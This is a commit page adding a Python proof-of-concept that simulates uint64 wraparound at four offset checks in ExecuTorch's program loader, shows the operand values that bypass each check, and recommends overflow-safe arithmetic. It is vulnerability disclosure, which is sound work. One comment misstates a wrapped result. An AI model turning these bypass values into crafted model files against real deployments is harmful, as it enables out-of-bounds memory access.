0xiviel commited on
Commit
2e38cf3
·
verified ·
1 Parent(s): bfe89fe

PoC: ExecuTorch segment offset integer overflow (CWE-190)

Browse files
Files changed (1) hide show
  1. poc_F5_segment_offset_overflow.py +301 -0
poc_F5_segment_offset_overflow.py ADDED
@@ -0,0 +1,301 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ ExecuTorch Segment Offset Calculation Integer Overflows (CWE-190)
4
+ ==================================================================
5
+
6
+ Target: ExecuTorch (pytorch/executorch)
7
+ Commit: 90e6e4ca4ef369ce4288ffcd2a0210d5137117dd
8
+
9
+ Affected File: runtime/executor/program.cpp
10
+ - Line 96: segment_base_offset + segment_data_size
11
+ https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L96
12
+ - Line 378: offset + nbytes (get_constant_buffer_data)
13
+ https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L378
14
+ - Line 504: segment_base_offset_ + segment->offset()
15
+ https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L504
16
+ - Line 589: segment_base_offset_ + segment->offset() + segment_info->segment_index()
17
+ https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L589
18
+
19
+ CWE-190: Integer Overflow or Wraparound
20
+
21
+ Description:
22
+ ExecuTorch's Program loader performs multiple offset arithmetic operations
23
+ using values from the FlatBuffer schema (attacker-controlled in a malicious
24
+ .pte file). These operations are performed on size_t (uint64_t on 64-bit)
25
+ without overflow detection, allowing wraparound that bypasses subsequent
26
+ bounds checks and leads to out-of-bounds memory access.
27
+
28
+ All four overflow sites use the pattern:
29
+ computed_offset = base + attacker_offset [+ attacker_offset2]
30
+ if (computed_offset > limit) return error; // bypassed by overflow
31
+
32
+ Impact:
33
+ Heap out-of-bounds read/write through corrupted offset calculations.
34
+ The attacker controls the offset values through the .pte FlatBuffer schema.
35
+ """
36
+
37
+ import struct
38
+ import sys
39
+
40
+ UINT64_MAX = (1 << 64) - 1
41
+ SIZE_T_BITS = 64 # Assuming 64-bit platform
42
+
43
+
44
+ def uint64_add(a: int, b: int) -> int:
45
+ """Simulate uint64_t addition with wraparound."""
46
+ return (a + b) & UINT64_MAX
47
+
48
+
49
+ def uint64_add3(a: int, b: int, c: int) -> int:
50
+ """Simulate uint64_t triple addition with wraparound."""
51
+ return (a + b + c) & UINT64_MAX
52
+
53
+
54
+ def check_overflow(true_sum: int) -> bool:
55
+ """Returns True if the sum overflows uint64_t."""
56
+ return true_sum > UINT64_MAX
57
+
58
+
59
+ def print_overflow_analysis(label: str, operands: list, limit: int, limit_name: str):
60
+ """Analyze and print an overflow scenario."""
61
+ true_sum = sum(operands)
62
+ wrapped_sum = true_sum & UINT64_MAX
63
+ overflows = check_overflow(true_sum)
64
+ bypasses_check = wrapped_sum <= limit and true_sum > limit
65
+
66
+ print(f" Operands:")
67
+ for i, op in enumerate(operands):
68
+ print(f" {'+ ' if i > 0 else ' '}0x{op:016X} ({op:,})")
69
+ print(f" True sum: 0x{true_sum:X} ({true_sum:,})")
70
+ print(f" Wrapped sum: 0x{wrapped_sum:016X} ({wrapped_sum:,})")
71
+ print(f" {limit_name}: 0x{limit:016X} ({limit:,})")
72
+ print(f" Overflows: {'YES' if overflows else 'NO'}")
73
+ print(f" wrapped <= {limit_name}: {'YES' if wrapped_sum <= limit else 'NO'}")
74
+ print(f" Bypasses check: {'>>> YES — OOB ACCESS <<<' if bypasses_check else 'No'}")
75
+ print()
76
+
77
+
78
+ def main():
79
+ print("=" * 78)
80
+ print("ExecuTorch Segment Offset Integer Overflow PoC")
81
+ print("CWE-190: Integer Overflow or Wraparound")
82
+ print("=" * 78)
83
+ print()
84
+
85
+ # =========================================================================
86
+ # OVERFLOW 1: program.cpp:96
87
+ # segment_base_offset = header_size + flatbuffer_size (program_data_size)
88
+ # if (segment_base_offset + segment_data_size > file_size) ...
89
+ # =========================================================================
90
+ print("=" * 78)
91
+ print("OVERFLOW 1: program.cpp:96")
92
+ print(" segment_base_offset + segment_data_size > file_size")
93
+ print("=" * 78)
94
+ print()
95
+ print(" Code:")
96
+ print(" size_t segment_base_offset = program_data_size;")
97
+ print(" // ...")
98
+ print(" if (segment_base_offset + segment_data_size > file_data_length) {")
99
+ print(" return Error::InvalidProgram;")
100
+ print(" }")
101
+ print()
102
+ print(" Attack: Set segment_data_size in .pte so the sum wraps.")
103
+ print()
104
+
105
+ # The segment_base_offset is derived from program data size (attacker-influenced)
106
+ # segment_data_size comes from summing segment sizes in the FlatBuffer
107
+ segment_base_offset_1 = 0x8000000000000000 # Large program_data_size
108
+ segment_data_size_1 = 0x8000000000000100 # Large total segment size
109
+ file_size_1 = 0x0000000000100000 # 1 MB file
110
+
111
+ print(f" Scenario: segment_base_offset=0x{segment_base_offset_1:X}, "
112
+ f"segment_data_size=0x{segment_data_size_1:X}, file=1MB")
113
+ print()
114
+ print_overflow_analysis(
115
+ "program.cpp:96",
116
+ [segment_base_offset_1, segment_data_size_1],
117
+ file_size_1,
118
+ "file_data_length"
119
+ )
120
+
121
+ # =========================================================================
122
+ # OVERFLOW 2: program.cpp:378
123
+ # get_constant_buffer_data: offset + nbytes overflow
124
+ # =========================================================================
125
+ print("=" * 78)
126
+ print("OVERFLOW 2: program.cpp:378")
127
+ print(" offset + nbytes > constant_segment.size (get_constant_buffer_data)")
128
+ print("=" * 78)
129
+ print()
130
+ print(" Code (get_constant_buffer_data):")
131
+ print(" size_t offset = constant_buffer->storage_offset();")
132
+ print(" size_t nbytes = constant_buffer->allocation_info()->memory_size_bytes();")
133
+ print(" if (offset + nbytes > constant_segment.size) {")
134
+ print(" return Error::InvalidProgram;")
135
+ print(" }")
136
+ print()
137
+ print(" Attack: Craft constant_buffer with large storage_offset and memory_size_bytes.")
138
+ print()
139
+
140
+ offset_2 = 0xFFFFFFFFFFFF0000
141
+ nbytes_2 = 0x0000000000020000 # 128 KB
142
+ seg_size_2 = 0x0000000000010000 # 64 KB segment
143
+
144
+ print(f" Scenario: offset=0x{offset_2:X}, nbytes=0x{nbytes_2:X}, segment=64KB")
145
+ print()
146
+ print_overflow_analysis(
147
+ "program.cpp:378",
148
+ [offset_2, nbytes_2],
149
+ seg_size_2,
150
+ "constant_segment.size"
151
+ )
152
+
153
+ # Demonstrate the actual OOB read that follows
154
+ wrapped_2 = uint64_add(offset_2, nbytes_2)
155
+ print(f" After check passes:")
156
+ print(f" Code does: return segment_data + offset;")
157
+ print(f" segment_data is a pointer to {seg_size_2} bytes")
158
+ print(f" offset = 0x{offset_2:X}")
159
+ print(f" Result: pointer {offset_2 - seg_size_2:,} bytes PAST segment end")
160
+ print(f" >>> Heap OOB read <<<")
161
+ print()
162
+
163
+ # =========================================================================
164
+ # OVERFLOW 3: program.cpp:504
165
+ # segment_base_offset_ + segment->offset()
166
+ # =========================================================================
167
+ print("=" * 78)
168
+ print("OVERFLOW 3: program.cpp:504")
169
+ print(" segment_base_offset_ + segment->offset()")
170
+ print("=" * 78)
171
+ print()
172
+ print(" Code (load_segment_data):")
173
+ print(' const void* segment_data = static_cast<const uint8_t*>(')
174
+ print(' segment_data_.data) + segment_base_offset_ + segment->offset();')
175
+ print()
176
+ print(" This is pointer arithmetic — no bounds check at all!")
177
+ print(" The sum is used directly as a memory offset.")
178
+ print()
179
+
180
+ seg_base_3 = 0xC000000000000000
181
+ seg_offset_3 = 0x5000000000000000 # From FlatBuffer segment->offset()
182
+
183
+ true_3 = seg_base_3 + seg_offset_3
184
+ wrapped_3 = uint64_add(seg_base_3, seg_offset_3)
185
+
186
+ print(f" segment_base_offset_ = 0x{seg_base_3:016X}")
187
+ print(f" segment->offset() = 0x{seg_offset_3:016X}")
188
+ print(f" True sum: 0x{true_3:X}")
189
+ print(f" Wrapped (uint64): 0x{wrapped_3:016X}")
190
+ print()
191
+ print(f" If buffer is mapped at address P:")
192
+ print(f" Expected access: P + 0x{true_3:X} (way past buffer)")
193
+ print(f" Actual access: P + 0x{wrapped_3:X} (wraps to small offset)")
194
+ print()
195
+ print(f" The pointer arithmetic wraps, causing access to an earlier")
196
+ print(f" part of the mapped file or adjacent heap memory.")
197
+ print(f" >>> Type confusion / data corruption <<<")
198
+ print()
199
+
200
+ # =========================================================================
201
+ # OVERFLOW 4: program.cpp:589
202
+ # segment_base_offset_ + segment->offset() + segment_info->segment_index()
203
+ # =========================================================================
204
+ print("=" * 78)
205
+ print("OVERFLOW 4: program.cpp:589")
206
+ print(" segment_base_offset_ + segment->offset() + segment_info->segment_index()")
207
+ print("=" * 78)
208
+ print()
209
+ print(" Code:")
210
+ print(' size_t offset = segment_base_offset_ + segment->offset()')
211
+ print(' + segment_info->segment_index();')
212
+ print()
213
+ print(" Triple addition — three attacker-controlled values summed")
214
+ print(" without any overflow check.")
215
+ print()
216
+
217
+ seg_base_4 = 0x5555555555555555
218
+ seg_off_4 = 0x5555555555555555
219
+ seg_idx_4 = 0x5555555555555557 # Chosen so triple sum wraps to 0x0001
220
+
221
+ true_4 = seg_base_4 + seg_off_4 + seg_idx_4
222
+ wrapped_4 = uint64_add3(seg_base_4, seg_off_4, seg_idx_4)
223
+
224
+ print(f" segment_base_offset_ = 0x{seg_base_4:016X}")
225
+ print(f" segment->offset() = 0x{seg_off_4:016X}")
226
+ print(f" segment_index() = 0x{seg_idx_4:016X}")
227
+ print(f" True sum: 0x{true_4:X}")
228
+ print(f" Wrapped (uint64): 0x{wrapped_4:016X} = {wrapped_4}")
229
+ print()
230
+ print(f" Three large values sum to 0x{wrapped_4:X} after overflow!")
231
+ print(f" The resulting offset points to the very beginning of the")
232
+ print(f" mapped data, regardless of where segments actually are.")
233
+ print(f" >>> Arbitrary offset within mapped memory <<<")
234
+ print()
235
+
236
+ # Additional scenario for overflow 4: just barely overflows
237
+ seg_base_4b = UINT64_MAX - 100
238
+ seg_off_4b = 50
239
+ seg_idx_4b = 52 # Total = UINT64_MAX + 1 = wraps to 0
240
+
241
+ true_4b = seg_base_4b + seg_off_4b + seg_idx_4b
242
+ wrapped_4b = uint64_add3(seg_base_4b, seg_off_4b, seg_idx_4b)
243
+
244
+ print(f" Scenario B (minimal overflow):")
245
+ print(f" segment_base_offset_ = 0x{seg_base_4b:016X} (UINT64_MAX - 100)")
246
+ print(f" segment->offset() = {seg_off_4b}")
247
+ print(f" segment_index() = {seg_idx_4b}")
248
+ print(f" True sum: 0x{true_4b:X} (UINT64_MAX + 1 + 1)")
249
+ print(f" Wrapped (uint64): 0x{wrapped_4b:016X} = {wrapped_4b}")
250
+ print(f" >>> Wraps to offset {wrapped_4b}, bypasses any subsequent check <<<")
251
+ print()
252
+
253
+ # =========================================================================
254
+ # Contrast with safe pattern (BufferDataLoader)
255
+ # =========================================================================
256
+ print("=" * 78)
257
+ print("SAFE PATTERN: c10::add_overflows()")
258
+ print("=" * 78)
259
+ print()
260
+ print(" BufferDataLoader (buffer_data_loader.h:38-41) uses the safe pattern:")
261
+ print()
262
+ print(" size_t total;")
263
+ print(" if (c10::add_overflows(offset, size, &total) || total > data_size_) {")
264
+ print(" return Error::InvalidArgument;")
265
+ print(" }")
266
+ print()
267
+ print(" This detects the overflow BEFORE the comparison.")
268
+ print(" All four overflow sites in program.cpp should use this pattern.")
269
+ print()
270
+ print(" Alternatively, use __builtin_add_overflow() or check:")
271
+ print(" if (a > SIZE_MAX - b) { /* overflow */ }")
272
+ print()
273
+
274
+ # =========================================================================
275
+ # Summary table
276
+ # =========================================================================
277
+ print("=" * 78)
278
+ print("SUMMARY")
279
+ print("=" * 78)
280
+ print()
281
+ print(" +--------+------------+------------------------------------------+")
282
+ print(" | Line | # Operands | Expression |")
283
+ print(" +--------+------------+------------------------------------------+")
284
+ print(" | 96 | 2 | segment_base_offset + segment_data_size |")
285
+ print(" | 378 | 2 | offset + nbytes |")
286
+ print(" | 504 | 2 | segment_base_offset_ + segment->offset() |")
287
+ print(" | 589 | 3 | seg_base + seg->offset() + seg_index() |")
288
+ print(" +--------+------------+------------------------------------------+")
289
+ print()
290
+ print(" All 4 sites perform unchecked integer addition on attacker-controlled")
291
+ print(" values from the .pte FlatBuffer schema. Overflow wraps the result to")
292
+ print(" a small value, bypassing bounds checks and enabling OOB memory access.")
293
+ print()
294
+ print(" Fix: Use c10::add_overflows() or equivalent overflow-safe arithmetic")
295
+ print(" for all offset calculations involving untrusted values.")
296
+
297
+ return 1
298
+
299
+
300
+ if __name__ == "__main__":
301
+ sys.exit(main())